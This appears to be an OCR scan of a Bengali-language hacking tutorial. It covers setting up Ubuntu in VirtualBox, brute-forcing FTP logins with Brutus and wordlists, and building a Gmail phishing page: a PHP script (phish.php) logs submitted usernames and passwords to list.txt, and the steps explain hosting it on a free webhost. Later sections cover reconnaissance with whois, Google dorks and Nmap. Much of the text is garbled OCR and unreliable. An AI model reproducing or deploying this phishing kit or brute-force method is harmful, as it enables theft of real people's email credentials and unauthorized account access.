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>.http://www.ubuntu.com/download/ubuntu/download 93 .ISO FIF O FIIT V]
R0 TISACETS @ qls|

Home Ubuntu Business Download Support Project Community Partners Shop l_!bl_”"ltl_le

Ubunke  Ubuntu Server Type to search )

Download Ubuntu
You can download Ubuntu online, completely free.

Download  Windows Installer  Alternative downloads CDs  Upgrade  F#; Ubuntu

Download Ubuntu

Click the big orange button to Download options
download the latest version of

Ubuntu. You will need ko create a Ubuntu 11.04 - Latest version = Start down load
€D or USB stick to install Ubuntu. A e

32-bit (recommended) - Ubuntu 11.04
Our long-term support (LTS) 32-bit

releases are supported For three
years on the desktop. Perfect for
organisations that need maore

rkahilibie Far laraar danlsumante

2. TISAET OfF R8T 9 TR T 371es HifSro 34 3@ are |

Wubi

Wubi SIS Aoy {27 woMHd (Wubidd NI SIcoIer (P FEifE B 35104
91 IR [Wubi 9T FIGE TIF, 2976 A7 4374
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| Demo and full installation

Try Ubuntu without instaling! Simply reboot your machine with
the CO in the tray. You may perform a full installation from within
the demo to install Ubuntu either alongside Windows or as the
only operating system,

Install inside Windows

Install and uninstall Ubuntu like any other application, without the
need for a dedicated partition. You will be able to boot into either
Windows or Ubuntu, Hibernation is not enabled in this mode and
disk performance is slightly reduced.

| | Learn more

Ubuntu is a free, community developed, inux-based operating
system complete with a web browser, productivity software,
instant messaging, and much more.

.Install inside ©30OTS A0 eTg FET |
%) Ubuntu Tnsaller =)

@ You are about to install Ubuntu-10.10

Please select username and password for the new account

Installation drive: Language:
&Q |E: (1968 free) - w | English (US) -

— Installation size: Username:
=) | a8 - t4sf1q
Password:
Desktop environment: — wseses
ﬁ | Ubuntu - |:*‘_| PR
|
| Accessibility | | instal | | cancel |

O.WWWWWWWWWW
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@ Installing Ubuntu-10.10

Flease wait
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¢. 3364 W‘f (A Reboot IO Bi7 W3

Completing the Ubuntu Setup
Wizard

¥ou need to reboot to complete the installation

@ Reboot now

) I want to manually reboot later

b, QT BFE, 30 RO 9F I PP 97 Fexy 390 ¢ A

3.7 3370 917 TTT (@0 I INFARCE SER IT6EF JO 39966 @ P T
SIRRIRIGT
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Virtualbox(®TRIeT<H)

SIGIATY oI BIAN WAod %o 197 FIRYET MAC TR B0 ([
I oAl Biet T17 |

>. 2T http://www.virtualbox.org/wiki/downloads (IF SIHITIH TIEAETG FE
qrei

3. 3570 AT |

0.Virtualbox BIe] B GAEH New JIBCA B whg|

3 A Is

File Machine Help

&

Nav% Setbings  Delete Skart  Discard
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8.Next JGE Biot @hs|

’:ﬁ-‘ Create New Virtual Machine

VWelcome to the New Virtual Machinz Wizard!

This wizard will quide wou through the skeps -hat are
necessary ko create a new wirkual machine For WirkualBos:,

Use the Mexkt button to go thz2 next page of the wizard and
the Back button bo return ko the previous page.

= Back

MNext }[,\, I | Cancel |

www.purepdfbook.com
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¢.q1Y @0l 93R foPs R BFR @ q8|

o Create Mew Virtual Machine

VM Mame and OS5 Type

Entzr & nane “or the new wirkuzl machine and select the bypz
of the quest operating svskem you alan ko install onko the
wvirkaal nachine.

The nane of bae @irtual machine usuall indicazes itz softaars
anc hasdware configuration. Ik will be used by all virtualEox
components o idenkify wour wirtual machire.,

Pdarme

UbuAku
S Tvpe
;I:I-I:uun-tu

Lmees
) :'
A

- Dadk, Mesk -
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. fT9IY B oy RAM U9 @TRTRT sifFaA AR saEt T RAM QF 5/R ST
5/8 Tt @I e Sttt T =F R &R RAM IR, OIR ¢>R @z |

¥ Create New Virtual Machine

Memory

Select the amount of base memoary (RAMY in megabytes Eo be
allocated ta the virkual machine

The recommended base memorsy: size is 256 MEB,

Base Memory Size

h e T e L

4 MB 3554 ME

[ = Back “ Menck :br\eJ ’ _ancel
b
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q.Next G Bivf Whg|

| [fl? Create Mew Virtual Disk
Welcome to the Create New Virtual Disk Wizard!

This wizard will help vou to create a new virtual hard disk
image For your wirkual machine,

lIse the Mext butkon to go ko the next page of the wizard and
%he Back button to return to the previous page.

= Bacl Mexk = Cancel
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b-. Q4q (I Dynamic BT Fixed S2Xq #%% $900 Q| IMW HDD (© SR
AT S9N A OICE Dynamic image 9™, I SRS 9 A I Fixed

Size image (v BRG]

Virtual Disk Image Type

disk space,

vour harddisk,

Image Type

(*) Dynamically expa

() Fixed-size image

nding image

Select the bype of virtual hard disk image wou wank to create,

A dynamically expanding image initially occupies a wvery
small amount af space on your physical hard disk, Ik will grow
dynamically {up ta the size specified) as the Guest O3 claims

A fiwed-size image does nok grow, Ik is skored in a file of
approximately the same size as the size of the virkual hard
disk. The creation of a fixed-size image may take a long time
depending on the image size and the write performance af

< Back,

Mext =

[ Cancel

www.purepdfbook.co
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5. T 99 o S AREE fA6RT @ qns)

¥ Create New Virtual Disk

Virtual Disk Location and Size

Fress the Seleck buttan ko select the location and name of
the file to store the virtual hard disk image or bype a file name
in the entry Field,

Image File Mame

Ubunku

select the size of the wirtual hard disk image in megabytes,
This size will be reported to the Guest 05 as the size of the
virtual hard disk.

Inmage Size

-

2 3B

< Back MNext = J} ’ ancel
IH.
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So. ST FI Finish G Bt Ag|

’fif‘ Create Mew Virtual Disk

“You are going ko creake a new virtual hard disk inmage with the
Following parameters:

Twpe: Ce=nianically expandinng inage
Location: C:

'\Cocuments and SettingsiDavid M. virkualBox\WDIL
Size: 2.00 GE (214745548 Bytes)
(] i I ]
If the above settings are correct, press the Finish butkon,
Once you press ik, a new hard disk image will be created,

< Back Finish. [ Cancel ‘
M
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5. @it fATeTd (PR 150 FIREAT Y0 AT Q4 Next JM6F 9 B wa|

' Create New Virtual Machine
Virtual Hard Disk

Select a hard disk image to be used as the book hard disk of
khe wirtual machine, You can either create a new hard disk
using the Mew button or select an existing hard disk image
From the drop-down list or by pressing the Existing butbon
(to inwoke the Wirtual Disk Manager dialog).

If wou need a mare complicated hard disk setup, wou can also
=kip this skep and attach hard disks later using the WM Settings
dialog.

The recammended size of the boot hard disk is 2048 ME.

Book Hard Disk (Primary Masker)
Lbuntu, wdi (CH\Documents and SetkingstDavid M'l,.'-.-'irtt[v]

[ Mew, ., ] [ Existing...

< Back MNext = ’ Cancel
|

OR.PIGT AT 7 11!
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>0. Q4q QY A7 & T @ AR 1941d R CD/DVD Rom 9 Bi%f A

Q@R D

w Settings  Delete Skart

.| Ubuntu
,Q’ @inered Off

ﬂ{} Dztails Snapshicts @ Description

Discard @ General
Mame

05 Type
Base Memary
Vidao Marmory
Book Crder
ACPI

10 APIC

Y- AMDY
PAE N

=) Hard Disks
IDE Primaty Master

8] cD,fD\rD—RjEl)

Mok mounke

[ Floppy
Mok mounted
@D Audio
Disabled
)

Metwork
Adapher 1

{5 Serial Ports
Disabled

use
Disablad

2

L] Shared Folders
Tone

@ Remote Display
Disabled
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58.Mount CD/DVD 5 @ .Is0 T3 o IE 7|

[ Ubantur-Seltings

=l General

553 Hard Disks
CDyDYD-ROM
Floppy

Audio
Mebwork,

Serial Porks
LISE

Shared Folders

BB EFLOE

Fermote Disp ay

CD/DYD-ROM

Mount CDJDYD Drive
") Host CDJDVD Drive
C:
Enable Passthrough
{*) 150 Image File

5 |%

Inwvokes the Wirtual Disk Manager to select a C0JDND image ko mount,

_f'_‘-, Invvalid settings detected 2K,

wafr

Cancel

I

Help
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5¢. FIZAD IO FHIF AT Select 9 HI*f 7|

[ 2] Virtual Disk Manager

Actions

18 8 B 8

Mew  8dd  Femowe Felease Refresh

| Hard Disks @ C0DVD Images l Floppy Images

Mame Size
ubuntu-g.04. 1-deskkop-i356 .iso

attached to;

Location: C:DomnloadsiLinuxubuntu-5.04. 1-deskkop-i356.is0

694,49 MB

| SElecllé I[ Cancel ][ Help

www.purepdfbook.com
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£ Ubuntu - Settings

i |

B Genera CD/DYD-ROM

@ Hard Disk=

CD{DND-ROM Mount COJDYD Drive
Floppy () Host CO{IWD Drive
I audio Cn:

EF Metwork Enable Passthrowgh
{9 Serial Porks (%) 150 Image File

ﬁ LB ubuntu-3,04, 1 -deskbop-i3@6.iso (C:,DownloadsiLinax [V] @
o shared Folders

Remote Crisplay

Sefect @ reffings cateqaory From Bhe fsf on Bhe feft side and' move Be mouse over 3
Faffings Fem fo gaf mara nfosmakan,

| ok Q[ Cancel || Heb |

>, 94q QY 83 SIS0 AT PR IR, 941d R Start Q B WS |

& 5 R D

T Settings  Delete St.aﬁ Discard
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5. 94d BFR I6 & WA QI Try Ubuntu P [RTeq WM @ FIK5 6%
EuR Gl

Machine Devices Help

Boot from first hard disk

Boot Options 2seedsubuntu.seed boot=casper initrd=/scaspersinitrec guiet splash --

F1 Help FZ Language F3 Keumap F4 Modes FS Accessibility F6 Other Options

2o0HeE = [#] right Ctrl
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QT SIS (AT ISHIRITA (I I (oI SAo AF QLI JFeR
F19PH T I3 TP @GR 19T 267 ITHED @ FIRT GAGE 97
qATod G0 AR M @F I 9o M @ SEIIRE 9@ [ AT
OIRE G @ @1 55 QS 3t B F300 M@ 9ol At st
SEIIRT BT T03 WYAG http:// 93 TS fip:// AUH|

>. A YT 90 T QAR R I 9b SiF 077 FAPS0E W3R 9T ip
SIICG™T T 127.0.0.1 |

2. 9TBPH I *IF 9o //127.0.0.1 FF 96 ISTIIET QIR ATSTIOS
S QB pop-up IF GO A2
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& =]

Althentication Reguired E

e Enter username and password for Frp: ff127.0.0.1
o : T
User Mame: | | -

Passwiord:

i (04 I ’ Cancel ]

0.93%F JIFF G (AT B FIR I ARSI TF FIR & oAy Qi
Brutus JJIRT |

Fil= Tanls Help

Tarcet 17700011 Tyas | | | Peuse | Sten | Flear
Lonnection Uphan:
n ore T——— 10 Tmeow ™60 I '
pDrt EDHFED“DW (L NN meak llllllllllfJ A
T Options }
wlodify sequenca [ Trvtostay connected for |L|n|iT|ite 1-| atlemats

Albienticationn Opliore

v Lze lzername [ Single Lz=r Fazz Mode |‘w"-:|r:l Lt '|
Il=zer File |u35's.txt Erl:uwse| Paz: Fil= |wnrcs_txt Biowse

Fosilive &ithentication Besult

T agel | Typ= | L sermame Mazswmord |

e g APTSAT T/ ceffefid wiE @@ 4 ;

- http://www.oxid.it/cain.html

« John the Ripper http://www.openwall.com/john/
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« THC Hydra http://freeworld.thc.org/thc-hydra/

« SolarWinds http://www.solarwinds.com/

« RainbowCrack http://www.antsight.com/zsl/rainbowcrack/

8. THIbo O W3 o Fah8 Qe T R uoioi @ sl

¢.F&P5 it 2> 78 g SEIIRG IR i@t @R v F417 oy
g0 T304 @1 W QN ¢edt @ fFEFT AT 2 7, O Qi ¢ffE
i F9F A Q6 Y& GIeo #A@h9 FAE @2 IR Fq) LT ANEBAT
EERT

V. Qi M GO S 97 TSR A ST O (O 79 G JIAT Pl
[ G OSSN Oiferp! (10 H|

Q.90 [N ST @I Sq7 ANET 8 <=7 oifdst @& Ao @1 IS
IE 1 Siferl g Bk B @z Ao I oI 75 ©f ARTSIS (o G|

http://packetstormsecurity.org/Crackers/wordlists/ {5 ST wiF ITRE
IF O A Of 737 |

File Edit Format  Wiew Help

kdmin
administrataor
test

guest

root

hackup
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File Edit Faormak  Wiew

aaa

abc
academia
academic
Access I
arda

admin
administrator
adrian
adrianna
aerokbics
airplane
albhany
alhatross
alhbert
alex
alexander
alf
a1gebra
alias
aliases
alice
aldicia
alisa
alison

b I T Bie] 91 ST AR GOt ASTE @ IR R OISt /T 758
&9 RATT BB 400 9F FAR|

Target 127.0.0.1 verified ~
E&zned Lizer file containing B users.

hed password file containing 818 Passwords.,
b asimum number of authentication atternpts will be 4308

Engaging targst 127.0.0.1 with FTP
I 2

110 |1 adrnic, B andy 0 53 A

by

inc

> 1T ARSI & F OIRE FFF ITTFET 3 APTSAG qF [A (g
AE @A f9 @2 53 ITEEE 8 APTSAG 9qF [Fqrs

Q@@H 9 - admin

AT STNG - password
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Positive Auth ent'i\c-aticun Results

T arget gz | Type

| Ll gername | Fazzword

127.0.01 FTF

admin paszwornd

Located and installed 1 authentication plug-ing
|mitializing...

Target 127.0.0.1 ~vernified

Opened uzer file containing B uzers.

Opened password file containing 818 Passwords.

b gximum number of authentication attemptz will be 4303
Emgaqitg target 127.0.0.71 with FTP

Tring Lzername: admin

| M Sirum tot 3l sukthentication attempts reduced ko 4643
T rwing wzernane: adrministrator

Pozitrve authenticabion at 127.0.0.1 with User : admin Password @ password [550 attemphs)

>o MG TP QIFT G (T I FIF T3 &y 379 931 4Ry or
IOE 9T WP UG FE A7 GG FIOHE 97 A [FPEPT o1
BieefT @ Hfdaft 93 BT At S Qi e =R @it AMQ)1 Brutus 75
TSIE o SRS 9fb R SRR 2o

www.purepdfbook.com
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(000147 10/23,,2003 17:01:05 PM
(0007143) 104232003 17:01:05 PM
(000143) 104232003 17:01:05 PM
(000151) 104232003 17:01:05 PM
(000151) 10/23,,2003 17:01:05 PM
(000150) 104232003 17:01:05 PM
(000150) 10/23,,2003 17:01:03 PM
(000152) 10/23,/2003 17:01:03 PM
(000152) 104232003 17:01:03 PM
(000153) 10232003 17:01:03 PM
(000153) 10232003 17:01:03 PM
(0001 55) 10/23,/2008 17:01:03 PM
(000155) 10232008 17:01:03 P
(0001 54) 104232008 17:01:03 PM
(0001 54) 10232008 17:01:03 P
(000147 10232008 17:01:15 PM
(000147 102352003 17:01:15 P
(000143) 10/23,/2003 17:01:15 PM
(0001 46) 10/23,/2008 17:01:15 PM
(0001 46) 10/23,/2003 17:01:15 PM
(0001487 10/23/2003 17:01:15 PM
(0001487 10232003 17:01:15 P
(0001 50) 10232008 17:01:15 PM
(001 50) 10232003 17:01:15 PM
(0001 52) 10/23/2008 17:01:15 PM
(0001 52) 10232003 17:01:15 PM
(000154) 10232008 17:01:15 P
(000154) 10232008 17:01:15 P
(000154) 10/23,/2008 17:01:15 PM
(000749) 10/2352003 17:01:15 P
(000151] 1042352003 17:01:15 P
(000151] 1042352003 17:01:15 P
([000153) 102352003 17:01:15 P
(000153) 1042352003 17:01:15 P
(000155) 104232003 17:01:15 PM

[t e otk B Wn N La T N L T Ta T B Bar B T IR N ol o 190 |

- [hot logged in] [127.0.0.1])x 331 Pazsword required for admin
- [hot logged in] [127.0.0.1)> USER admin

- [hot logged in] [127.0.0.1])x 331 Pazsword required for admin
- [hot logged in] [127.0.0.1)> USER admin

- [hot logged in] [127.0.0.1])x 331 Pazsword required for admin
- [hot logged in] [127.0.0.1)> USER admin

- [hot logged in] [127.0.0.1]) 331 Pazszword required for admin
- [hot logged in] [127.0.0.1)> USER admin

- [hot logged in] [127.0.0.1]) 331 Pazszword required for admin
- [mat logged in) [127.0.01]: USER admin

- [mat logged in) [127.0.0.1] 331 Pazzword required for admin
- [mat logged in) [127.0.01]: USER admin

- [t logged in) [127.0.0.1] 321 Pazzword required for admin
- [mot logged in) [127.0.0.1]: USER admin

- [t logged in) [127.0.0.1] 321 Pazzword required for admin
- [rot logged in] [127.0.0.7]: PASS ==

- [mot logged in) [127.0.0.1]: 530 Login or password incorrect]
- [mot logged in) [127.0.0.74 PASS =

- [mot logged in) [127.0.0.18 PASS ===

- [hot logged in] [127.0.0.1])x 530 Login or pazsword incarrect]
- [mot logged in) [127.0.0.1]): PASS ™

- [hot logged in] [127.0.0.1])x 530 Login or pazsword incarrect]
- [mot logged in) [127.0.0.1): PASS ™

- [not logged in] [127.0.0.1])x 530 Login or pazsword incarrect]
- [mot logged in) [127.0.0.1]): PASS ™

- [not logged in] [127.0.0.1])x 530 Login or pazsword incarrect]
- [mot logged in] [127.0.0.7]): PASS =

- [not logged in] [127.0.0.1)x 530 Login or pazsword incarrect]
- [hot logged in) (127.0.0.1)> dizconnected.

- [hat logged in] [127.0.0.1)x 530 Login or pazsword incarrect]
- [mot logged in) [127.0.0.1])x PASS ™

- [hat logged in] [127.0.0.1)x 530 Login or pazsword incarrect]
- [mot logged in) [127.0.0.1]x PASS ===

- [hot logged in] [127.0.0.1)x 530 Login or pazsword incarrect]
- [mot logged in] [127.0.0.1])x PaSs ===

[ T B W B I P et T N | [ ]

o s Accounkt IP | TransfFer
=C= 000166 (not logged in) 127.0.0.1
=Z+000167 {nok logged in) 127.0.0.1
=C= 000165 (not logged in) 127.0.0.1
=Z+ 000169 {nok logoed in) 127.0.0.1
=C=000170 (not logged in) 127.0.0.1
=Z+000171 {nok logoed in) 127.0.0.1
=C=000172 (nok logged in) 127.0.0.1
=Z+ 000173 {nok logoed in) 127.0.0.1
=C=000174 (nok logged in) 127.0.0.1
=Z+ 000175 {nok logoed in) 127.0.0.1

38

551 127.0.0.1 X0 JIFF U W G193 7] B 93 & 9F &q YIFIF 43t
P QR FRAT AAS HFA A
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6 P WG
Y GF ACACE FO @I TCIF @ @I ASTSTIC G F900 NG| FOFIH
BT FeIy 79 AT 99 [edw vfig A R @ g0 91 #1468 A<

ARSI T ST TIPS @ WIOF JEAF T3 @F I Iy IR f[Feid
PO @PT T e 9B A 9 [Recz 937 1T I

> IfEFI SBRF 99 o QLS T G2 G d@ I @ 191 @ 9
TqJ FOo-FP @z A0 @ 9 @@ 35 900 @I

File Toos Help

Tamet [127.00° Tyne |FTF ~| st | Stop | Cleal
Connection 0ptions
= P 14 - . e 7. __.a I | —— U 1 lee Prmag |
Fart |1 Connections * 1% dmeod 0 | oEE CioE
T Options
hlseiin symaiierse | [ Trbe sbou cmmimmedmd bee D e o | bbb
=15 _'r' \'.rl:\_'LHD LS =) | 1 I_'r’ o \:I_'r’ e {—L WLl — Ly LA ) ||_||'|"m||:c ;I CIl.\.UIII'_H.#
Auther:ication Optiohs
o L T Fem— [
v Uze Uszzrmame v Sincle Lser Fagz Mode |brule Farce = |

UserdD  |=dmin | |

Pozitres Suthenbicztion Bezuks

T arqet | Type Il zermarne | Fazzword

Locatec andingtaled 1 authsntication olug-ns

39

IR IM GIF GRAT AE @ ARSI 5 0 AE ol i A woraft
QR [0 A CLIRIFF T I IR P W & @I ARG 97 AFISIG I
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fAfie AR A& PR o g TR TWAw Fo53 e @i 4o &5

A

Brutus - Brute Force Generation =

Min Length |EI - |
b ax Length |E - |

Ok Cancel |

" Digitz only

v Lowercass dlphs
i~ Uppercaze alpha
i Mided aslpha

" Alphanumeric

" Full Keyzpace
~

Cuztom Range |etau:uinsrhldcumfpgwybvk:-:iqﬂ 2345673301

O I (RIGATOF lowercase alpha QR fA@R @f6T KA RO Trod [Ifs
Gt RO “Puod OfF7F b WS FHF AT

[

Located and instélled 1 authentication plug-ing
[nitializing...

Target 127.0.0.1 verfied

B rute force will generate 321 272407 Pazswonds,

b amirnuam 1urnber of authentication attempts will be 21 272407

E ngaging karget 127.0.0.7 with FTF

=
i

www.purepdfbook.com

i Ll adrain B b [ Atteronts ner second Estimabed noknown diratinn remaining
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IRUEN

iR =1 = PfFiox o 5 TR 930 A @ad IeeREs, A Tere
3o7ifafbs Fero RrTarosor S F90 J|

> 12T YT 93 797 05 FRIFPHR 93 517 517 QR s @
STRSYET R Hotmail,Gmail,Yahoo IFIFd QT @RS FIqIR T IE S
G I Y A [P0 AE OIRCE Qi @ 9 SEFINROSCE IR P
Ol 31 08 (I @ 19N N GFi0 [&a & 7% RRANE @ 3|

3. T QAR @ 77 I 9] SERAIREGT a0 (i IR @R 774 oreifd
save PIEIEFIA

&= Edit Wiew History Delicious  Bookmarks  Tools  Help

Blew Window Chrl4+M
i i .
Mew Tah Chel4+T h:j E @ ko “https'”lwww'g':":'gle'
Cpen Location...  Cerl+L
Cpen File... Chrl4+0
Close Chrl+ Welcome to Gmail

Chrl+5

h to email.

FPage Sefup...
Print Preview rehimail, built on the idea that email can b
Brint... Zkrl+P
Import... ed messages out of your inbax with Goag
Work CFfline
Exit 55

@ Fead Gmall on your mobile phone by paointing your phe
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Save i | () Gmail v QF o 1

}.l

6

My Recent
Documents

i

- 1.n ‘
LeskICp ‘

By |

My Documents

-t
|

" g
kdu Computer
"__# File riae, Servicelugir ]
3 3

w1 etk Save as type: Wweb age. complee hd

A QA Mozilla Firefox AT FEMR I AN G2
http://www.gmail.com/ 9 AT X 4R click File -> Save (& as... I <CTR> +
S b1 W ¢ save 0 TAF|

0| save PR THICISEIE AT FE ServiceLogin.htm (TP index.htm
ftoRG lindex (AT IFA 6T (FS I4F (O ARG IME 04F @ GIebT I
I IO TYEFAO IAeH IR J|

8 [OIF519 I (OIFIF O §fF T Q0 PHP fEFs0 (off SIE TG Q6! SYIFa
PHP f2F5 T QfN “Sign in” g {35 1 MR SR O "login details" store
PAE 190! PSR S FE @0 BIRE AIBIG 9 fqE @Rl 513 7067 9 copy
paste E19Yq GBI I @A HEIT AT (ST save FER CIAIA save
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E1190F q19 WK phish.php193R GTAIE AQA FEIHIL text file (O FET QR A
73 list.txt|

<?php

Header(“Location:
https..//www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=rfalse&continue=http
%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26.zy%3DI&bsv=1k96[gf4806cy&Itmpl=defa
ult&ltmplcache=2 “);

$h93e = fopen(“list.txt”, “a”);

J*GGIMSIT Yist.txt” PIZTE! GTAT PICO T GF2 (L) COlTPCT| (Gb) TeT (01T ICCHTAN G7¢
AT GG, */

Foreach($_GET as $variable => $value) {
fwrite($h<93le, $variable);

fwrite($h<97le, “=");

fwrite($h<I3%e, $value);

fwrite($h<3%e, “Irln”);

}

/*493 FIT O1FT IGGITAT S TGN 1%/
Fwrite($h<93%le, “Irln”);

/*af5 o1F1F AT ST “Yist.oxt” FIZCT 7T
Fclose($h93%Ue);

/*4[T “list.txt” 977 connection IRy PCF1*/
exit;

2> /9% PHP program. 773G/




QY TAGd GPIo et (M40 A

. = phish
i ) PHP File
= ZKE

.\
: inde
A Firefox Document
16 KB

¢. Q4AYIFIIE ©fF PHP FFo0 8 QTS &3 (ISE WAl 900 @ ST

@3t @AGIe M sei| F9©

A

lisk
Text Document

OKB

{ /! ServicelLoagin_files

( W‘i

Y.<CTR> + F Bt 9IR[T Edit-> Find |, action {704 “Find Next”q 519 wis|

TUMNL—= L2820 F Uy

I
.gaiarle.wal { font-family: Arial, Helwetica, sans-serif,

i g

San
+02] Findwhat: actir ns-serif;

algl

-i:ga Dhirection - _corif:

algl

.ga [ Match caze OUp @ Down Lserif;

fon

——x<sstyler

<form id="gaia_Toginform"

Efsmly="https : /Awww. google. comsaccounts ServiceLoginauth?se -

1.9 ST forad J0 ¢ ARE|
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256 2f “action” occurrences (AT AR O Jf3HT @z Ao =@ “form id”
AR o laction= 9T 7 « “ GF A @ WG 937 ©f et AfRTT0 $
phish.php fito =R14f0 form T Google 99 AR O PHP phish g
submit I 197 QY

method="[qEE"

@4t A Y& R FIR R “post” XM BT F@ “GET” foied i o=
(7400 method="GET” 43 (0! REIGET method 4T I T QA @19 O URL 9T
A BIZ5 FIQ@ ©f BT submit FIE JO PHP &6 log FI0 M|

b-.save EI YR iPIQf*ﬁN close @ |

5. 939 YT A FIRA @ free webhost BTl PHP support $E OITO upload |

50. YT B FIReT WIAEG 1 @ I, O list txt” PICE 710 HJFho
fito *@ 120 @B @r=iifag 936 cHMOD WA witz193 WoAf fA4iea i
917 file permission fo“list.txt” 777 Q ARIOF F@H ¥ RO at AE FoIq T390
3R O 9T IO &P FET @ A 9] QT JIW FER|

55, I 3 & ¥ @ QI (O (AT 9T IR (AP AN SFIPNIEGT fo1F 9
IS YR CINA Qi &R (ofterd Jo (e |

ITHIFCAA/TSIG ford 93% Sign in fF5F F@H9B @I ST &FEa ¢ie g
redirect I

53.949 QY (O list.txt PIZeAD CTCA

http://www.yourwebhosturl.com/youraccount/list.txt
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ltmpl=default

ltmpleache=2
continue=http://mail.google. com/mails ?
service=mail

rm=false

Emai l=myusername

Passwd=mypassword

rm3hown=1

zignIn=3ign in

asts=

qbT 949 a8 QN OFFiT Slemrs & fdo M1t 94| Qi cors 1y
ITEHET IR ARTSAG G|

VRV PHAS

QI (P J500 QA I F00 el Of =T -

Social Engineering-

QN Qe (TP B0 Social Engineering 9 5% #1410 JIRIF FC0 A Social
Engineering 9@ ('8 (OTHICE g IeTceT @ (OIE WfHbO Qi OIc 57 &y <00
AN Fo QA RO AET GT (ORI @it g J1f< |

Shoulder Surfing-

YA QfF 9t 93t Ao I AFEAR ©RE ATSIT o1 qf @7 47T 46
4R T @F Of G4 1 AT Y32 ©IFF AT




Guessing-

A g (O APTSACME Al I TS Guess F1 IR (fACeH A, IR 9F
19,5 oif§4 2071w |

Dictionary Attacks-

Dictionary attacks (¥CF 3If6C0 (OIFE b0 I@ 9FF fF7 7SI R ot 3t
Dictionary (0 dIR Il WA g

Brute-force attacks-

Brute-force attacks (¥GF 600 QA ITYIR T FFTSIG JJIRE FAC0 AN

Phishing-

R = IO @I FARA 39 7 97 o 93 M @i et ©fpo |




¢ AT
@B ST PR

PoTAHR

POATDR 6T @A IS0 Fovd g @ fag 9 o ST ToffBr
M@ MYRI0 I 9F 3@ A |10 @@ @ o I oUANA -

>. Y JIFIF OIF BICIG 91 SRIPART 9F F7heT 0 LR IIYFH e-mails QR
names YEE IYIPE W 5T O (It BRI GT @IfAF {60 social engineering
attack 8 900 AA|

3. YA http://www.selfseo.com/find_ip_address_of_a_website.php 350 [
BT SRRTRET Wi WG e FIEIURL ez &7 wizf+ smgsfe i)

The IP address of google.com is 64.233.187.99

The IP address 64.233,187.99 |5 assigned to E] United States

Enter URL: |google.com Get IP

0. ST BIe] Wi FIfS I9 Of SIAF &) Y1 Ping IIF I | http://just-
ping.com W2 SEIAIL (I YIHF OFF B1eeft SERAIRT 9T A =3t o3
G @ 7G| 93 TG #fRFF 08 6 T R 9FAR ping FE OF

G0 (R w7 J08
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google. com T ||ping!|
B, Yahna.cnmJbr BE .94 F34_13

ping: google. com

location miri. rrt awg. rrt

Santa Clara, TU.S_A. Okay BE .3 Ed & &7 .0
Vancouwer, Canada Ok ay 11.8 1z .4 13.7
New York, U. 5.4 Okay z7.0 21.3 47 _E
Florida, U.3.4. Ukay 42.1 43.8 a2
Aastinl, U5 4. Okay 140.7 141 .3 142_1
Arzein, U5 4. Olzasy 73.8 73.9 T4_Z
San Francisco, T.5_ 4. Okay 2701 98,5 1004
Amsterdamz, MNetherlands Ok ay 153 .3 161 .3 182 _8
Londorn, United Hingdom Okay 855 B85 .6 g7.9
Amsterdams3, MNetherlands Ok ay 54 4 5.5 S5_.9
Chicago, U.Z.4. Ukay el.2 g2.1l g3.0
Amsterdam, Netherlands Ok ay 104 .7 106 . & lo0g_ 5
Calogne, Cermanyy Okay 10e .2 e .2 ln9_9
Manchen, Germarsy Ok ay l0o. 5 103 .4 1a5_7
Paris, France Okay SE.0 2701 l0l.0
Madrid, Spain Okay 123 .8 126.1 128_0
Stockholm, Sweden Okay 127 .7 123.0 z0o_ 5
Cagliari, Italy DEay 187.9 188.5 183_8
Copernhagern, Denmark Okay 11Z.5 112 .8 11z.0
dytwrerp, Balgium Okay 94 6 9L .2 97_0
Erakow, Poland Okay 135.1 126.1 136_9
Nagano, Japan Ok ay 144 . 2 145 .0 lde_ 4
Sywdney, Australia Okay lz0.7 l3z.5 137_5
Hong Fong, China Ok ay zd43 .9 z51.1 zh4_9
Lille, France Okay 143 4 152 .3 155_%
Adackland, New Zealand Ok ay 182 .4 193 .6 z15_.9
Melbourne, Australia Okay 229.0 2333 2472_19
Haifa, Israsl Ok ay 170.5 172.1 173.1
Singapore, Singapore Okay Zl6 . & zle .8 z17.0
Porto Alegre, Brazil Okay £211.1 Zlz .2 Z1l4_5
Manbai, India Okay ZEE.1 bl 1 ZEE_1
Zurich, Switzerland Okay 1Z6.3 130.1 1341
Johanmesburg, South Africalkay 357 .3 357.7 358_.3

Shanghai, China Packet= laost (100%)

8. http://whois.domaintools.com I YIHIF OIF BieefC 41 S@IAIZT 99 Whois
”{I%T@ IR QYT ([T AAPICE OWATE IR QeI e-mails, address,

names, when the domain was created, when the domain expires,the domain name

server 3071 O T |

¢. search engines I FF JIFF SEIRL T @S [$F SO A&
|“site:www. the-target-site.com” YOI TSI FIE JIFIF FB0F JFIQCET (TS
(7470 SRR Tt Google 9 WITR Ispecific word IIT FE JIHIF WS A 0
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(1o 1@ T “site:www.the-target-site.com email” T JIHIF NI GF A7fer
1 IR S A | “inurl:robots. txt "M JIPE ARG QT robots.txt (7 6 AT
I[P AT QT AT GifAq O3 ({F @ AT |

(1% =rifae

(AT I 9 B2 9FT ACIET T& CGIfD FAE @ 19561 JIFE 954 Tl
AR T8 HEod SIA00 SARE, G 78T vulnerabilities 93 &7 SPTHIT FAO
AN QR (O SETIIET AT &= $IC0 AE (CATG T P SAraers
S SR @ SIS SAfe it e IR0 ! Of 26 -
http://nmap.org/download.htm| S%IRIT Bf (74IAT G Nmap GUI(Graphical User
Interface) Q3 YT 19 Zenmap 8 Il F|

5 1A TP G0 BIeslB/S@IIT 2R F9E 93 Target box 9 address )]
feT4@ Qi (4T AN “FANG (AT B FR IR Wi+t 0= 197y AW L
S 9 HieThs oire A f5@s I0 @)

Scan Tools  Profile Help

O i [l =

4 -
Mew Scan Command Wizard  Save Scan Open Scan | Reportabug Help
untitled_scanl X%

Target: www.target-site.cum| | Profile; |Intense Scan W

Command: | nmap -T Aggressive -5 - wiew, target-site, com

3. QAT I “Profile:” PIETE FIE TATSI Ie7 IR FHEAT 499 Bieeis
FIF 190 I quick 4R quiet scanf1(e18 FIEIFull version scan FICO I
A T AT R SO AP (KT R (O IR TP (A A0 76

P1nix_Cr3w | www.facebook.com/plnix.cr3w
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T I TYATSTIT WS AR AT @ @S|

Intense Scan

Quick Scan

Intense Scan

Quick, and werbose scan

Regular Scan

Oper ating System Deteckion
Cuick, Full wersion Detection Scan

Quick Operating 3vstem detection

Quick, Services version detection

O, TAPA Of 9IFY qHO 2 |

3

Port 4
22

24

53

a0

111
3306

OO e e

Proktocol 4

tcp
kep
kcp
tcp
tcp
tcp

State *
opEn
Open
Open
